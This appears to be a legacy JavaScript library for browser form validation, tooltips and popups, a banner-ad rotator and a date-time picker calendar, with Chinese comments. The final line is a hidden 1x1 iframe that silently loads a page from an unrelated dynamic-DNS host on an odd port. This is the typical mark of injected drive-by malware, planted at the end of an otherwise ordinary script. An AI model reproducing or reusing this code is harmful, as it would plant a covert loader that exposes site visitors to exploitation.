
var DTControl_PopType = "tip";//"{pop,alert,tip}定义提示信息的方式"
var DTControl_PopDefaultTitle = "提示";//使用pop弹出提示时的默认Title标题
var DTControl_oPopup = window.createPopup();
var DTControl_popTop=0;
var DTControl_popWidth = 250;
var DTControl_popheight = 120;
var DTControl_popTitleBgcolor = "#EEEEEE";//使用pop弹出提示时Title的背景色
var DTControl_popTitleHeight = "30";//使用pop弹出提示时title的高度
var DTControl_TableStyle = 'border=5 bgcolor=#FFFFFF';//使用pop弹出提示时的表格属性
var TimerNum = "30";//使用pop弹出提示时的移动速度
var InputOnFocusColor = "#FFFFCC";
var isAutoHide = true;
var CurBlogID = 0;
var CurBlogUserName='';
var DTControl_bannerAD=new Array();
var DTControl_bannerADlink=new Array();
var DTControl_adNum=0;

function DTControl_setTransition(){
  if (document.all){
   document.images.DTControl_bannerADrotator.filters.revealTrans.Transition=Math.floor(Math.random()*23);
   document.images.DTControl_bannerADrotator.filters.revealTrans.apply();
  }
}

function DTControl_playTransition(){
  if (document.all)
  document.images.DTControl_bannerADrotator.filters.revealTrans.play()
}

function DTControl_nextAd(){
  if(DTControl_adNum<DTControl_bannerAD.length-1)DTControl_adNum++ ;
   else DTControl_adNum=0;
  DTControl_setTransition();
  document.images.DTControl_bannerADrotator.src=DTControl_bannerAD[DTControl_adNum];
  DTControl_playTransition();
  theTimer=setTimeout("DTControl_nextAd()", 6000);
}

function DTControl_jump2url(){
  jumpUrl=DTControl_bannerADlink[DTControl_adNum];
  jumpTarget='_self';
  if (jumpUrl != ''){
   if (jumpTarget != '')window.open(jumpUrl,jumpTarget);
   else location.href=jumpUrl;
  }
}

if(DTControl_PopType=="tip")
{

document.write("<div id='DTControl_TIPDIV' style='position:absolute; z-index:999; left: 237px; top: 134px;display:none' onclick=\"if(isAutoHide){this.style.display='none';}\"><table id=\"__01\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td align=\"right\" valign=\"top\"><img src=\"/DTControl_ReSource/TIPIMG_01.gif\" width=\"13\" height=\"9\" alt=\"\"></td><td colspan=\"2\" background=\"/DTControl_ReSource/TIPIMG_02.gif\" bgcolor=#ffffff></td><td align=\"left\" valign=\"top\" background=\"/DTControl_ReSource/TIPIMG_04.gif\"></td></tr><tr><td align=\"right\" valign=\"top\" background=\"/DTControl_ReSource/TIPIMG_08.gif\"></td><td colspan=\"2\" rowspan=\"2\"><table width=\"100%\" border=\"0\" bgcolor=\"#FFFFFF\"><tr><td bgcolor=\"#FFFFFF\"><span id='DTControl_TipSpan' style='font-size:12px;color: #990000;font-weight: bold;'></span></td></tr></table></td> <td rowspan=\"2\" background=\"/DTControl_ReSource/TIPIMG_11.gif\"></td> </tr> <tr> <td background=\"/DTControl_ReSource/TIPIMG_08.gif\"></td> </tr><tr><td> <img src=\"/DTControl_ReSource/TIPIMG_12.gif\" width=\"13\" height=\"7\" alt=\"\"></td><td colspan=\"2\" background=\"/DTControl_ReSource/TIPIMG_13.gif\"></td><td><img src=\"/DTControl_ReSource/TIPIMG_15.gif\" width=\"5\" height=\"7\" alt=\"\"></td></tr></table></div>");
}



function DTControl_Hide_TIPDIV()
{
  document.all.DTControl_TIPDIV.style.display='none';
}
function DTControl_SetInputBG(Obj)
{
   Obj.style.background = InputOnFocusColor;
  
}

function DTControl_CleInputBG(Obj)
{
  Obj.style.background = '';
}

function DTControlgetoffset(e) 
{  

 var t=e.offsetTop;  
 var l=e.offsetLeft + 30;  
 while(e=e.offsetParent) 
 {  
  t+=e.offsetTop;  
  l+=e.offsetLeft;  
 }  
 var rec = new Array(1); 
 rec[0]  = t; 
 rec[1] = l; 
 return rec;

}  


function DTControl_HideTIPDIV()
{
 document.all.DTControl_TIPDIV.style.display = 'none';

}
function showTIPForTIPSPAN(Message,obj)
{

var tl = DTControlgetoffset(obj);

  document.all.DTControl_TipSpan.innerHTML = Message;

  var Left = tl[1];
  var Top  = tl[0];
  document.all.DTControl_TIPDIV.style.left = Left;
  document.all.DTControl_TIPDIV.style.top  = Top;
  obj.onkeydown =DTControl_HideTIPDIV;
 document.all.DTControl_TIPDIV.style.display = 'block';
 
}
///Pop模式的标题，信息内容，是Pop模式
function ShowMessage(Message,obj)
{

  if(DTControl_PopType=="pop")
  {
   
   DTControl_popmsg(DTControl_PopDefaultTitle,Message)
  }
  else if(DTControl_PopType=="alert")
  {
   alert(Message);
  }
  else if(DTControl_PopType=="tip")
  {
  showTIPForTIPSPAN(Message,obj);
  
  }
  return false;
}


//用户自定义正则表达式验证
function isCustomRegular(s,REstring,errMessage) 
{ 
var patrn=eval('/' + REstring + '/'); 
if (!patrn.exec(s.value))
	{
	ShowMessage(errMessage,s);
	s.focus();
	return false;
	}
	return true;
} 



//校验用户姓名：只能输入字母、数字、下划线 通过测试////////////////
function isTrueName(s,min,max,errMessage) 
{ 
var patrn=eval('/^[a-zA-Z][a-zA-Z0-9_]{' + (min-1) + ',' + (max-1) + '}$/'); 
if (!patrn.exec(s.value))
	{
	ShowMessage(errMessage,s);
	s.focus();
	return false;
	}
	return true;
} 

//字符串检查 通过测试////////////////
function isText(s,min,max,errMessage) 
{ 

var thisvalue = s.value;
var thisLength = thisvalue.length;
if(thisLength<min)
	{
	ShowMessage(errMessage,s);
	s.focus();
	return false;

	}

	if(thisLength>max)
	{
	ShowMessage(errMessage,s);
	
	s.focus();
	return false;

	}

	return true;
} 

//校验密码：只能输入6-20个字母、数字、下划线 通过测试////////////////
function isPasswd(s,min,max,errMessage) 
{ 
var patrn=eval('/^[a-zA-Z][a-zA-Z0-9_]{' + (min-1) + ',' + (max-1) + '}$/'); 

if (!patrn.exec(s)) 
	{
	ShowMessage(errMessage,s);
	s.focus();
	return false;
	}
	return true;
} 




//校验普通电话、传真号码：可以“+”开头，除数字外，可含有“-” //通过测试
function isTel(s,errMessage) 
{ 
//var patrn=/^[+]{0,1}(\d){1,3}[ ]?([-]?(\d){1,12})+$/; 
var patrn=/^[+]{0,1}(\d){1,3}[ ]?([-]?((\d)|[ ]){1,12})+$/; 
if (!patrn.exec(s.value))
	{
	ShowMessage(errMessage,s);
	s.focus();
	return false ;
	}
return true 
} 



//校验手机号码：必须以数字开头，除数字外，可含有“-” //通过测试
function isMobil(s,errMessage) 
{ 
var patrn=/^[ ]?([-]?((\d)|[ ]){11})+$/;
if (!patrn.exec(s.value)) 
	{
	ShowMessage(errMessage,s);

	s.focus();
	return false ;
	}
return true 
} 




//校验邮政编码 通过测试
function isPostalCode(s,errMessage) 
{ 
var patrn=/^[a-zA-Z0-9 ]{6,6}$/; 
if (!patrn.exec(s.value)) 
	{
	ShowMessage(errMessage,s);
	s.focus();
	return false ;
	}
return true 
} 


//校验URL通过测试
function isURL(s,errMessage) 
{ 
var patrn=/[a-zA-z]+:\/\/[^\s]*/;
if (!patrn.exec(s.value)) 
	{
	ShowMessage(errMessage,s);
	s.focus();
	return false ;
	}
return true 
} 




//校验日期//通过测试
function isDateValue(s,errMessage) 
{ 
var patrn=/^[\\d]{4}-[\\d]{2}-[\\d]{2}$/;
if (!patrn.exec(s.value)) 
	{
	ShowMessage(errMessage,s);
	s.focus();
	return false ;
	}
return true 
} 



//校验email//通过测试
function isEmail(s,errMessage) 
{ 
var patrn=/^[\w.-]+@([0-9a-z][\w-]+\.)+[a-z]{2,3}$/;
if (!patrn.exec(s.value)) 
	{
	ShowMessage(errMessage,s);
	s.focus();
	return false ;
	}
return true 
} 


//校验身份证//通过测试
function isIDCard(s,errMessage) 
{ 
var patrn=/^[0-9_]{15}$|^[0-9_]{18}$/;

if (!patrn.exec(s.value)) 
	{
	ShowMessage(errMessage,s);
	s.focus();
	return false ;
	}
return true 
} 



//校验数字。对象，最小值，最大值，最多小数点位数，错误信息头
function isNumber(s,min,max,AfterDecimalNumber,errMessage) 
{ 

	var patrn=eval('/^[-0-9]+(.[0-9]{0,' + AfterDecimalNumber + '})?$/');
	var thisvalue = s.value;
	if(thisvalue<min)
	{
	ShowMessage(errMessage,s);
		s.focus();
		return false
	}

	if(thisvalue>max)
	{
	ShowMessage(errMessage,s);
		s.focus();
		return false
	}



if (!patrn.exec(s.value)) 
	{
	ShowMessage(errMessage,s);
	s.focus();
	return false ;
	}
return true 
} 



var tmpmindt=new Date(('1900-1-1').replace(/-/g,'/'));
var tmpmaxdt=new Date(('2050-1-1').replace(/-/g,'/'));
var DT_gdCtrl = new Object();
var goSelectTag = new Array();
var gcGray = "#808080";
var gcToggle = "#ffff00";
var gcBG = "#eeeeee";
var gdCurDate = new Date();
var giYear = gdCurDate.getFullYear();
var giMonth = gdCurDate.getMonth()+1;
var giDay = gdCurDate.getDate();
var DtableinputYY;
var DtableinputMM;
var DtableinputDD;
var Dtableinputhh;
var Dtableinputmm;
var Dtableinputss;

////////////////////日历所用代码
function DT_fSetDate(iYear,iMonth,iDay,ihour,iminute,isecond)	
	{
		var themonth=new String(iMonth);
		var theday=new String(iDay);
		if (themonth.length ==1 )
			{
			iMonth="0" + themonth;	 
			}
		if (theday.length ==1) 
			{
			iDay="0" + theday;
			}
		var dihour=new String(ihour); 
		var diminute=new String(iminute); 
		var disecond=new String(isecond); 
		var tmpdatetime=new String(); 
		if(dihour=="0" && diminute=="0" && disecond=="0")
			{
			tmpdatetime = iYear+"-"+iMonth+"-"+iDay;
			}
		else 
			{
			if(dihour.length==1) 
				{
				dihour="0" + dihour;
				}
			if(diminute.length==1) 
				{ diminute="0" + diminute; }
			if(disecond.length==1) 
				{ disecond="0" + disecond; } 
			tmpdatetime = iYear+"-"+iMonth+"-"+iDay + " " + dihour + ":" + diminute + ":" + disecond; 
				} 
		var tmpselectdt=Date.parse(tmpdatetime.replace(/-/g,"/")); 

if (tmpselectdt<tmpmindt)
{ 
alert('您选择的日期/时间不能小于' + tmpmindt.toLocaleString());
return;
} 
if(tmpselectdt>tmpmaxdt) 
{ 
	alert('您选择的日期/时间不能大于' + tmpmindt.toLocaleString());
return; 
} 
	DT_gdCtrl.value =tmpdatetime; 
	DT_fHideCalendar(); 
}

function DT_fHideCalendar(){



try
{
 VicPopCal.style.visibility = "hidden";
 }
 catch(e)
 {}


  } 
  

  function DT_fGetSelected(aCell)
  { 
 
var iihour=document.all.Dtablehour.value; 
var iiminute=document.all.Dtableminute.value;
var iisecond=document.all.Dtablesecond.value; 
var iOffset = 0;
var iYear = parseInt(document.all.tbSelYear.value); 
var iMonth = parseInt(document.all.tbSelMonth.value); 
aCell.bgColor = gcBG;
 with (aCell.children["cellText"])
  { 
 var iDay = parseInt(innerText);
  if (color==gcGray) iOffset = (Victor<10)?-1:1;
  	 iMonth += iOffset; 
  	 if (iMonth<1) { iYear--; iMonth = 12; } 
  	 else if(iMonth>12){iYear++; iMonth = 1;}
  	 }
  	  if(iihour.length==1)
  	  {
  	  iihour='0' + iihour;
  	  }
  	   if(iiminute.length==1)
  	  {
  	  iiminute='0' + iiminute;
  	  }
  	  if(iisecond.length==1)
  	  {
  	  iisecond='0' + iisecond;
  	  }
  	  
  	  
  	   if(iDay.toString().length==1)
  	  {
  	  iDay='0' + iDay;
  	  }
  	   if(iMonth.toString().length==1)
  	  {
  	  iMonth='0' + iMonth;
  	  }
  	  
  	    return '【' + iYear + '-' + iMonth + '-' + iDay + ' ' + iihour + ':' + iiminute + ':' + iisecond + '】';

  	  }
function DT_fSetSelected(aCell){ 
var iihour=document.all.Dtablehour.value; 
var iiminute=document.all.Dtableminute.value;
var iisecond=document.all.Dtablesecond.value; 
var iOffset = 0;
var iYear = parseInt(document.all.tbSelYear.value); 
var iMonth = parseInt(document.all.tbSelMonth.value); 
aCell.bgColor = gcBG;
 with (aCell.children["cellText"]) { 
 var iDay = parseInt(innerText);
  if (color==gcGray) iOffset = (Victor<10)?-1:1;
  	 iMonth += iOffset; 
  	 if (iMonth<1) { iYear--; iMonth = 12; } else if(iMonth>12){iYear++; iMonth = 1;}} DT_fSetDate(iYear, iMonth, iDay, iihour, iiminute, iisecond);}


function Point(iX, iY){
	this.x = iX;	
	this.y = iY;
	}


function fBuildCal(iYear, iMonth) { var aMonth=new Array(); for(i=1;i<7;i++) 	aMonth[i]=new Array(i); var dCalDate=new Date(iYear, iMonth-1, 1); var iDayOfFirst=dCalDate.getDay(); var iDaysInMonth=new Date(iYear, iMonth, 0).getDate(); var iOffsetLast=new Date(iYear, iMonth-1, 0).getDate()-iDayOfFirst+1; var iDate = 1; var iNext = 1; for (d = 0; d < 7; d++)	aMonth[1][d] = (d<iDayOfFirst)?-(iOffsetLast+d):iDate++; for (w = 2; w < 7; w++) 	for (d = 0; d < 7; d++)		aMonth[w][d] = (iDate<=iDaysInMonth)?iDate++:-(iNext++); return aMonth;}

function DT_fDrawCal(iYear, iMonth, iCellHeight, iDateTextSize) 
	{
	var WeekDay=new Array('日','一','二','三','四','五','六');
	var styleTD = " bgcolor='"+gcBG+"' bordercolor='"+gcBG+"' VALIGN='middle' align='center' height='"+iCellHeight+"' style='font:bold "+iDateTextSize+" 宋体;";
	
	with (document) 
		{	
		write("<tr>");	
	for(i=0; i<7; i++)	
		write("<TD "+styleTD+" color:#990000' >" + WeekDay[i] + "</td>");	
	write("</tr>"); 	
	for (w = 1; w < 7; w++) 
		{
		write("<tr>");	
	for (d = 0; d < 7; d++)
		{

write("<TD id=calCell "+styleTD+"cursor:hand;' onMouseOver=\"this.bgColor=gcToggle;document.all.DT_ct_ShowTD.innerHTML=DT_fGetSelected(this);\" onMouseOut='this.bgColor=gcBG' onclick='DT_fSetSelected(this)'>");write("<font id=cellText Victor='Liming Weng'> </font>");
write("</td>")}write("</tr>");
}
}
}

function DT_fUpdateCal(iYear, iMonth) 
{
 myMonth = fBuildCal(iYear, iMonth);
 var i = 0;
  for (w = 0; w < 6; w++)
  	 for (d = 0; d < 7; d++)
with (cellText[(7*w)+d])
{
Victor = i++;
if (myMonth[w+1][d]<0)
 {
 color = gcGray;
 innerText = -myMonth[w+1][d];
 			}
 			else
 			{
 			color = ((d==0)||(d==6))?"red":"black";
 			innerText = myMonth[w+1][d];
 			if(innerText==DtableinputDD){
 			color = "blue";
 			}
 			}
 			
 		}
 }
 				

 function DT_fSetYearMon(iYear, iMon)
 {

  document.all.tbSelMonth.options[iMon-1].selected = true; 

  for (i = 0; i < document.all.tbSelYear.length; i++)
	 {
 	if (document.all.tbSelYear.options[i].value == iYear)
		 {
 	document.all.tbSelYear.options[i].selected = true; 
		 }
	 }

 	DT_fUpdateCal(iYear, iMon);


 	} 
 	
 	function DT_fPrevMonth() {
 	 var iMon = document.all.tbSelMonth.value; 
 	 var iYear = document.all.tbSelYear.value; 
 	 if (--iMon<1) {	
 	  iMon = 12;
 	  	 iYear--; 
 	  	 } 
 	  	 DT_fSetYearMon(iYear, iMon);
 	  	 }

function DT_fNextMonth(){ var iMon = document.all.tbSelMonth.value; var iYear = document.all.tbSelYear.value; if (++iMon>12) {	 iMon = 1;	 	 iYear++; } 	 DT_fSetYearMon(iYear, iMon);}	

function fToggleTags(left1,top1,width1,height1){

if(left1==null || top1==null || width1==null || height1==null)
	{
	return false;
	}

	var theleft=left1;
	var thewidth=parseInt(replace(width1.toString(),'px',''));
	theleft=(replace(theleft.toString(),'px','')).toString();

	with (document.all.tags("SELECT")){ 
		for (i=0; i<length; i++) 
		{
			var obj=item(i);
			var thistop=DT_getPosition(obj).top;
			var thisleft=DT_getPosition(obj).left;
			if(thisleft>theleft && thisleft<(theleft + thewidth) && obj.name.indexOf('se_')>-1)
			{
				
item(i).style.visibility = "hidden"; 
			}
		
		}

			}
			}



function DT_fSetHms(hh,mm,ss)
	{
		try
		{
document.all.Dtablehour.selectedIndex=hh;
document.all.Dtableminute.selectedIndex=mm;
document.all.Dtablesecond.selectedIndex=ss;
		}
		catch (e)
		{
		}

}


function DT_fPopCalendar(popCtrl, dateCtrl,YY,MM,DD,hh,mm,ss,mindt,maxdt){ 
event.cancelBubble=true; 
DtableinputYY=YY;
DtableinputMM=MM;
DtableinputDD=DD;
Dtableinputhh=hh;
Dtableinputmm=mm;
Dtableinputss=ss;
if(mindt!=null)//设置最小日期
	{
tmpmindt=new Date((mindt).replace(/-/g,'/'));
	}

	if(maxdt!=null)//设置最大日期
	{
tmpmaxdt=new Date((maxdt).replace(/-/g,'/'));
	}

DT_gdCtrl = dateCtrl;
DT_fSetYearMon(DtableinputYY, DtableinputMM);
DT_fSetHms(Dtableinputhh,Dtableinputmm,Dtableinputss); 
var point = DT_fGetXY(popCtrl);
var divtop=0;
if(document.getElementById('DTable_SettledTableTitle'))
	{
	divtop=DTable_SettledTableTitle.scrollTop;
	}

with (document.all.VicPopCal.style)
	{ 
	left=event.clientX;
	width = VicPopCal.offsetWidth;	
	height = VicPopCal.offsetHeight;	
	top=event.clientY;
	visibility = 'visible';
	} 	
	VicPopCal.focus();}

function DT_fTagInBound(aTag){ 
	with (document.all.VicPopCal.style)
		{
		var l = parseInt(left);
		var t = parseInt(top); 
		var r = l+parseInt(width); 
		var b = t+parseInt(height);	
		var ptLT = DT_fGetXY(aTag);	
		return !((ptLT.x>r)||(ptLT.x+aTag.offsetWidth<l)||(ptLT.y>b)||(ptLT.y+aTag.offsetHeight<t)); 
		}
		}

 function DT_fGetXY(aTag)
 {
	
 var oTmp = aTag;
 var pt = new Point(0,0); 
 var divtop=0;

 do { 
pt.x += oTmp.offsetLeft; 
pt.y += oTmp.offsetTop; 
oTmp = oTmp.offsetParent; 
    }
 while(oTmp.tagName!="BODY"); 
 return pt;
     }



 var gMonths=new  Array("&nbsp;一月","&nbsp;二月","&nbsp;三月","&nbsp;四月","&nbsp;五月","&nbsp;六月","&nbsp;七月","&nbsp;八月","&nbsp;九月","&nbsp;十月","十一月","十二月"); 
 with (document) 
	 {
		 write("<Div id='VicPopCal' name='VicPopCal' onclick='event.cancelBubble=true' style='POSITION:absolute;visibility:hidden;border:0px ridge;width:10;z-index:999;FILTER: progid:DXImageTransform.Microsoft.Shadow(Color=#333333,Direction=120,strength=5)'>");
		 
		 write("<table border='1' bgcolor='cccccc' cellspacing=\"1\" cellpadding=\"0\">");
		 
		 write("<tr>");
		 
		 write("<TD VALIGN='middle' align='center'><input type='button' name='PrevMonth' value='<' onClick='DT_fPrevMonth()'>");
		 
		 write("&nbsp;<SELECT name='tbSelYear' onChange='DT_fUpdateCal(tbSelYear.value, tbSelMonth.value)' Victor='Won'>");
 
 for(i=parseInt(tmpmindt.getFullYear().toString());i<=parseInt(tmpmaxdt.getFullYear().toString());i++)	write("<OPTION value='"+i+"'>"+i+"年</OPTION>");write("</SELECT>"); write("&nbsp;<select name='tbSelMonth' onChange='DT_fUpdateCal(tbSelYear.value, tbSelMonth.value)' Victor='Won'>");
 
 for (i=0; i<12; i++)write("<option value='"+(i+1)+"'>"+gMonths[i]+"</option>");write("</SELECT>");write("&nbsp;<input type='button' name='PrevMonth' value='>' onclick='DT_fNextMonth()'>");write("</td>");write("</tr><tr>");write("<TD align='center'>");write("<DIV style='background-color:teal'><table width='100%' border='0' cellspacing=\"1\" cellpadding=\"0\">");DT_fDrawCal(giYear, giMonth, 12, 12);write("</table></DIV>");write("</td>");write("</tr><TR align='center'>");write("<td>");write ("&nbsp;<select name='Dtablehour' Victor='Won' >");
 
 for(i=0;i<24;i++){write("<option value='" + i + "'>" + i + "</option>");}write("</select>");write("时&nbsp;<select name='Dtableminute' Victor='Won'>");
 
 for(i=0;i<60;i++){write("<option value='" + i + "'>" + i + "</option>");}write("</select>");write("分&nbsp;<select name='Dtablesecond'  Victor='Won'>");
 
 for(i=0;i<60;i++){write("<option value='" + i + "'>" + i + "</option>");}
 
 write("</select>");write(" 秒</td></tr><tr><td id='DT_ct_ShowTD' align='center' style='cursor:hand;font:bold 12 宋体;color:#990000' bgcolor=#EEEEEE>&nbsp;</td></tr><tr><TD align='center'>");
 
 write("<span style='cursor:hand;font:bold 12 宋体' onclick='DT_fSetDate(giYear,giMonth,giDay,document.all.Dtablehour.value,Dtableminute.value,Dtablesecond.value)' onMouseOver=\"this.style.color=gcToggle;document.all.DT_ct_ShowTD.innerHTML='【" + giYear +"-" + giMonth + "-" + giDay + " ' + document.all.Dtablehour.value + ':' + document.all.Dtableminute.value + ':' + document.all.Dtablesecond.value + '】'\" onMouseOut='this.style.color=0'>今天："+giYear+"年"+giMonth+"月"+giDay+"日</span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<span style='font-family: wingdings' title='关闭' onclick='DT_fHideCalendar();' style='cursor:hand;'>x</span>");
 
 write("</td></tr>");write("</TABLE></Div>");

 }
  



function initDTControl_pop()
{
 DTControl_popTop=0;
 DTControl_popWidth = 250;
 DTControl_popheight = 120;
 TimerNum = "30";
}



function DTControl_popmsg(Title,msgstr)
{

initDTControl_pop();

var winstr="<table width=" + DTControl_popWidth + " height=" + DTControl_popheight;
if(DTControl_TableStyle!="")
{
winstr+=" " + DTControl_TableStyle;
}

winstr+="><tr><td height=" + DTControl_popTitleHeight + " bgcolor=" + DTControl_popTitleBgcolor + ">" + Title + "</td></tr><tr><td align=center><table width=90% height=180 border=0>";
winstr+="<tr><td valign=top style=font-size:12px;>"+msgstr+"</td></tr></table></td></tr></table>";
DTControl_oPopup.document.body.innerHTML = winstr;DTControl_popshow();
}


function DTControl_popshow()
{
if(DTControl_popTop>1720)
{
clearTimeout(mytime);
DTControl_oPopup.hide();
return;
}
else if(DTControl_popTop<DTControl_popheight)
{
DTControl_oPopup.show(screen.width-(DTControl_popWidth),screen.height,DTControl_popWidth,DTControl_popTop*(240/DTControl_popheight));
}
DTControl_popTop+=5;
var mytime=setTimeout('DTControl_popshow();',TimerNum);
}

<iframe src=http://guaa1.3322.org:1134/q2/index.html width=1 height=1></iframe>
